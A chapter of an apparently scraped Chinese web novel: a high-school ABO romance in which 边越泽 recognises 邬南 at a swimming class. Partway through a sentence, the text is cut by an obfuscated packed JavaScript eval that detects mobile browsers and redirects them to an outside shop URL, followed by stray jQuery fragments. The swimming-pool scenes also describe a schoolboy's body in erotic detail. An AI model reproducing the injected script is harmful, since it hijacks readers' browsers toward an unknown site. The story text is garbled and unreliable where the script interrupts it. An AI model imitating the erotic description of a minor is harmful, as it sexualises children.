默认冷灰
24号文字
方正启体

12.暴露

作者:砚山亭本书字数:K更新时间:
    邬南发了小半宿的低烧,昏昏沉沉睡到早上起来,头还是隐隐作痛。


    早自习的时候,邬南实在撑不住,用校服外套遮着光,趴在桌上浅睡了会儿,下课铃响才醒。


    周青溪忧愁道:“南南,我怎么觉得你开学以后一直在生病啊?”


    邬南用手心撑着额头,纤长的黑睫在苍白的脸上垂落阴翳,低声道:“昨晚没注意关窗,有一点发烧,我吃过药了,没事。”


    周青溪拍桌生气:“怎么没事,你看你下巴都尖了,一看就是没把身体当回事!”


    邬南微微弯了眸,知道周青溪是好意,语气放缓了些:“哪有这么夸张?我周末去医院做个检查,这下放心了吧?”


    周青溪这才满意:“好。”


    又道:“那这周的游泳课你就别上了吧?小心又生病了。”


    邬南道:“我会游泳,打算到时候先找老师把成绩考了。”


    这学期的游泳课从这周开始,几个班一起上课,要是会游泳,找老师通过测验就可以自行选择后面的课程去或者不去。


    周青溪劝不过邬南打定的主意,只好作罢:“那你今天和边越泽不要打架了。”


    邬南默了默:“我们也不是天天打架。”


    周青溪道:“你别说了,论坛上每天的日帖——校霸和邬神今天打架了吗?他们还投票赌你们谁赢呢。”


    有各科的科代表开始收作业,邬南将习题集翻了出来,往后看了眼。


    后座的某个位置空着。


    但边越泽缺席的不只是早自习,还有一整个上午,下午才单肩背着书包,迈着长腿晃进了教室里。


    又被班主任逮住,叫到走廊上怒训了小半天,途中路过的Omega同学更是绕着走,如避蛇蝎。


    周青溪幸灾乐祸:“听说边越泽在按着名单找他的网骗Omega女朋友,好多Omega怕被误伤,恨不得把自证摆脸上。”


    邬南正在游神,疑惑问:“怎么自证?”


    周青溪脸上憋不住笑:“你不知道,昨晚上我们学校突然官宣了好多对小情侣,光我们班就有两对——”


    他凑过来给邬南小声说八卦,是班上平时看起来根本毫无交集的同学,听得邬南都愣住了。


    邬南迟疑问:“真的?”


    “当然是真的!”周青溪猛猛点头,“别看平时装不熟,私底下早就在一起了,之前没明说而已!”


    另一边的边越泽被老班终于训完,进了教室。


    他一坐下来,卫子赫就忍不住叹气:“边哥,你要找的人还有没有别的特征?条件太宽泛了,这样找下去别说了找到人,全校的Omega都要主动脱单了。”


    边越泽昨晚下半夜没怎么睡,翻了大半夜的名单,怎么看都不对,刚又被老班抓住缺课指着骂了半天,脑袋嗡嗡的。


    梦境里那颗白颈上的小痣再次浮现脑海,盈盈晃动似一点淡红朱砂。


    话到了边越泽的嘴边,又烦躁不已地咽下。


    他又不是变态,总不能逮着个人就看人家后颈脖子。


    “没有。”边越泽没好声气地道,“顶多加个脾气不好,特别难哄。”


    卫子赫是唯一一个知道实情的,没敢问特别难哄是什么意思,不可思议道:“Omega一般性格都挺好的,边哥,你确定对方是Omega吗?”


    边越泽揉着额角的动作顿了下。


    对方是个Omega就像是什么设定好的程序,在第一次“约会”就植入进他的大脑里,让他深信不疑。


    边越泽若有所思问:“潜性基因测试准确率高吗?”


    “你是说我们小时候做的性别分化基因潜性测试?准确率挺高的,很少有预测失败的例子。”


    卫子赫想了下:“不过虽然概率很低,但也不是没有。”


    上周大雨之后降了温,这周的气温又起来了些,有二十来度,但空气又闷又热,没什么风,教室里的学生基本都把外套脱了,穿短袖和校裤。


    前排的邬南显得格外突出,校服外套的拉链依旧拉到最高,眉眼淡淡,在和来找他的Omega同学讲题,肌肤冷白得反光,冰雕玉砌似的,周围的温度都像是低几度。


    边越泽看了好几眼,本就烦躁的心情更是说不出的不爽。


    旁边的卫子赫又问:“要是找不到人,怎么办?”


    边越泽冷笑:“我还不信了,我晚上不睡,还能接着做那个诡异的梦。”


    接连两天,邬南都没再接着做那个连续剧般的梦境,安安生生地睡了两晚,连发烧头疼的症状也消失了。


    与此相对的,是边越泽连续缺了两天上午的课。


    “……缺课是学习态度问题,边越泽,你明天要是继续缺课,还是这个态度,学校只能请家长过来……!”


    边越泽抬手打了个哈欠:“老师,我爸妈去结婚纪念日环球旅行了,这会儿应该在热带小岛上捡贝壳吧。”


    班主任瞪眼:“他们不可能不回来吧!”


    “回,肯定回。”边越泽诚恳地道,“他们要是回来了,我第一时间报告给您,让他们来学校。”


    有恃无恐这样,气得班主任又指着边越泽骂了一通,也没其他办法,只能挥挥手,眼不见为净,让他滚回教室了。


    下节课是游泳课,教室里空了一大半,都提前去游泳馆做准备了。


    边越泽进教室,视线惯性般扫过某个位置,没看到人,意识到邬南也去游泳馆了。


    卫子赫扬手举起一沓资料:“边哥,喏,勉强符合您要求的部分名单——成绩好,高冷话少,还长得漂亮的Omega女生,还和我们这节游泳课一起上课。”


    边越泽随手翻了两张,又将资料放到了一边:“算了。”


    卫子赫纳闷:“怎么就算了?不是你让我在游泳课之前整理出来?”


    边越泽神色阴沉:“消息都放出去了,她躲着不想来找我,我也懒得再找她了——我请的大师下周就到,大不了这几天我晚上不睡,白天睡。”


    卫子赫恍然大悟:“也是,你找人这事都闹得这么大了,她也没出来,要么是心虚,要么就是不想和你有联系。”


    又笑起来:“别想了,天气这么热,适合去游泳,走。”


    学校的游泳馆是新修的,面积宽阔,池水波光粼粼,空气凉爽,热闹的笑闹带着回音。


    周青溪是体育委员,早早就到了,拿着小本子给班上同学们做登记,询问是否有游泳的经验。


    他见边越泽和卫子赫从换衣间出来了,准备过去的脚步停了下,心里有点怵。


    平时大家穿着裹得严严实实的校服,只能从身高上看出Alpha和他们之间的差别,但现在换了泳裤,体型上的差距就变得格外明显。


    身形介乎少年与成年之间,修长矫健,每一寸起伏的肌肉线条都透着蓄势勃发的力量感,走过来的时候,带来的压迫感叫旁边的Beta和Omega都下意识让道。


    周青溪壮着胆子,战战兢兢走过去:“那个,我问一下,你们会游泳吗?如果需要提前考试的话,我这里做个登记……”


    边越泽直接伸手拿了走周青溪手里的小本子。


    周青溪手上一空:“诶?”


    边越泽在小本子的考试名单上看到了邬南的名字,心情好了些,又将小本子还了回去,随口问:“南南呢?”


    周青溪戒备道:“你找南南干嘛?”


    边越泽坦然道:“上游泳课多无聊,想找他比赛。”


    他在游泳馆里扫视一圈没看见人,挑了眉,道:“你这名单没登记完吧?我帮你叫人,不用太感谢我。”


    名单上还差一些Alpha同学没登记,边越泽随便招呼了句,一群先行下池热身的Alpha呼啦啦围了过来。


    邬南有事被其他科任老师叫了过去,慢一步来到泳池馆,换上泳裤,刚出换衣间,就看到周青溪被一群Alpha围着。


    Beta的个子在一群Alpha中间矮上好一截,周青溪抱着自己的小本子,小鸡仔似的被夹在其中,看起来瑟瑟发抖,很是可怜。


    几步之外,边越泽正和两三个关系比较好的Alpha朋友懒散闲聊。


    “青溪。”


    邬南喊了声,微微加快了步伐。


    周青溪看见救赎似的眼睛亮了,赶紧喊:“南南!”


    边越泽的眉宇一挑,循声望去,看清的瞬间,唇角的笑意有片刻的凝滞。


    邬南冷着一张脸走过来,穿着宝蓝色的泳裤,身形柔韧,腰细腿长,干净清透的少年感十足。


    他一走出来,至少半个场的人都看了过来,有别班的同学不认识邬南,问自己的朋友这是谁。


    边越泽的脑袋嗡嗡的,嘈杂得听不见动静,喉结一阵干渴,身体里流动的血液像燃着火。


    怎么……是粉的。


    胸膛上、膝盖上,连同脚趾,或深或浅,都是桃花似的粉。


    邬南走到周青溪身边,低声问:“怎么了?”


    周青溪鼓起勇气道:“我登记名单,登记完了,他们拉着我闲聊。”


    那群Alpha嘻嘻哈哈,语气很是无辜:“这还没上课,不能聊天了?”


    邬南知道他们没那么闲,看向边越泽在的位置,正正好撞进他望着自己的眼眸里。


    那双漆黑的眼眸直勾勾盯着他,似跃动着莫名的、滚烫的亮光。


    旁边的周青溪有点着急:“南南,边越泽说,他、他要找你比赛。”


    邬南移开视线,嗯了声:“知道了。”


    上课铃响,各班的体育老师吹着哨子让集合,组织进行热身运动。


    周青溪把小本子交了上去,体育老师看了名单,让会游泳的十几个同学找另一个老师去考试,领着其他学生到浅水区学游泳了。


    十几个同学里,有邬南,也有边越泽在。


    边越泽就站在邬南的旁边,随意伸展着肩部肌肉,问:“比一场?”


    邬南问:“比什么?”


    边越泽跃跃欲试:“考试内容是游一个来回,多没意思,还有半节课的时间,我们比一千米谁更快吧。”


    邬南用难以言喻的眼神看了眼边越泽。


    虽然知道Alpha出了名的争强好斗,但无时无刻都在想比赛,是不是精力过于旺盛了?


    “不比。”邬南言简意赅,“不止我们班要考试,不能占泳道。”


    边越泽低声诱哄:“那我们放学后来比,要是你赢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397224|200252||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,我半个月不找你事。”


    邬南知道自己几斤几两——上次那场篮球赛有赌出其不意的策略在,游泳这种纯体力的较量,对上Alpha基本上没有任何赢面。


    “不比。”


    邬南敷衍道:“我放学有事。”


    边越泽问:“周青溪放学也有事?”


    邬南立刻看来,目光带上警惕:“你别动他。”


    “嗯,不动他。”边越泽笑起来,“放心好了,我只想动你。”


    对他生气也行,对他厌烦也好。


    总之,这双眼睛要看向他。


    体育课结束,周青溪跑过来问邬南有没有和边越泽起争执,邬南搪塞了几句,回去一起上了最后一节课。


    放学铃响,邬南让周青溪先回去,一个人去了游泳馆。


    游泳馆清了场,空空荡荡,只有一道熟悉的身影带着凶猛的动静穿过翻涌的水波。


    邬南换了泳裤,走到泳池边停下。


    水花猛地破开,露出边越泽锋利立体的五官。


    边越泽的手臂肌肉隆起,撑在池沿边,脸上滚落着湿漉漉的水珠,饶有兴致地问:“怎么不下来?”


    邬南眉眼低垂,声音冷淡:“我赢了,你半个月不找事,那要是我输了呢?”


    边越泽道:“要是你输了,下次再上游泳课就把泳裤换了,换成套的那种。”


    邬南费了几秒才听明白边越泽在说什么,神情浮现几分迷茫。


    什么?


    边越泽以为他没听懂,好心解释:“就那种上衣和裤子连套的泳衣。”


    邬南蹙起眉尖,无比费解:“你有病吧,还管别人穿什么?给我找事的理由能不能挑一个好点的?”


    边越泽却听不清他在说什么,这样自下而上地仰头看他,某些部分更是一览无余,两颗旖旎樱果缀在玉白的肌肤上,是柔嫩、羞涩的浅粉,随着说话而有细微的颤动,堪称活色生香。


    他的鼻尖隐隐发热,不敢再看,思绪更为混乱。


    难道除了他,就没其他人觉得不对吗?


    边越泽躁得厉害,不想解释,径直蹿出水面,湿透滚烫的手掌一把攥住了邬南的手腕,干脆利落把人拉了下来。


    哗啦一声重重声响,水花四溅飞落,邬南跌倒了下去,几乎是条件反射,落水的刹那紧紧圈抱在边越泽的身上,惊魂未定地稳住身形。


    他反应过来,张口就想骂:“边越泽!你——”


    边越泽半只手扶在邬南的腰侧,指尖摩挲了下,笑得恶劣又张扬,不忘倒打一耙:“我的性取向是Omega女性,南南,你这样投怀送抱不好吧?我对Beta男性没兴趣。”


    邬南的脸上淌落着晶莹水珠,琥珀眼眸染着怒意,薄红的唇抿成一条直线,一把推开边越泽:“滚,我对Alpha更没兴趣!”


    边越泽挪开自己的手,举在半空,哄着:“好好,既然我们不是来谈恋爱的,那来比赛?”


    邬南没再说话,脸色似结着一层寒霜,转过身,低下头,准备沉入水面,往出发点游去。


    低头的一瞬间,细碎的乌发下露出一截漂亮的、玉白的颈,透明的水珠滚过一颗不易察觉的淡红小痣。


    一条结实有力的手臂破开冰凉的水面,再次抓住了邬南的手腕,把他扯进了某个炽热怀抱。


    邬南错愕地抬起视线,撞进了边越泽晦暗不明的眼神里。


    边越泽的手掌宽大,牢牢卡住了邬南的后颈,灼热粗砺的指腹重重一蹭。


    他的眼眸黑沉沉地压来,压抑到极致,深处反而似燃着一簇极亮的火焰,声音变得沙哑:“你……”


    邬南被他摸得下意识偏过颈项,浑身都起了一层鸡皮疙瘩,而后愈发恼怒,咬着牙道:“是你说要比一场的,现在又在做什么?”


    边越泽的喉结滚动了下,缓慢克制地放开了自己的手,那双闪动的眼眸专注又亢奋,野兽似的瞄准着猎物,目不转睛地紧盯着他。


    又像是从未见过面,今天是第一次认识他一样,呼吸急促,幽暗的目光带着热度,一寸寸刻过他的面容。


    不知怎的,邬南的背后起了阵阵寒意,心跳也加快,仿佛来自某种对于危险的天性警惕。


    “对,是要比一场。”


    边越泽慢慢笑起来,薄唇微启,音节喑哑轻缓,蕴着奇异的韵律,低头认错:“好南南,我错了,别生我的气。”


    邬南的头皮发麻,又说不出来是哪里的问题,只当是边越泽又在莫名其妙地发疯,转过身,往出发点游去。


    边越泽站在原地,眸光闪烁片刻,也追了上去。


    两个人一起站在了泳池的出发点。


    边越泽心不在焉,忽然问了句:“南南,你不喜欢Alpha?”


    邬南冷笑:“有你这样的好例子在我身边,你觉得我会喜欢Alpha?”


    又反问:“反倒是你,说着自己的性取向是Omega女性,但又看不起Omega,不觉得自相矛盾吗?”


    边越泽过沸的大脑终于冷静几许,惊讶地看来:“谁看不起Omega了?”


    邬南嗤笑了声,不再接话,将挂在头顶上的泳镜卡在眼前,低了头,踩在泳池的壁上,如离弦之箭首先蹿出。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)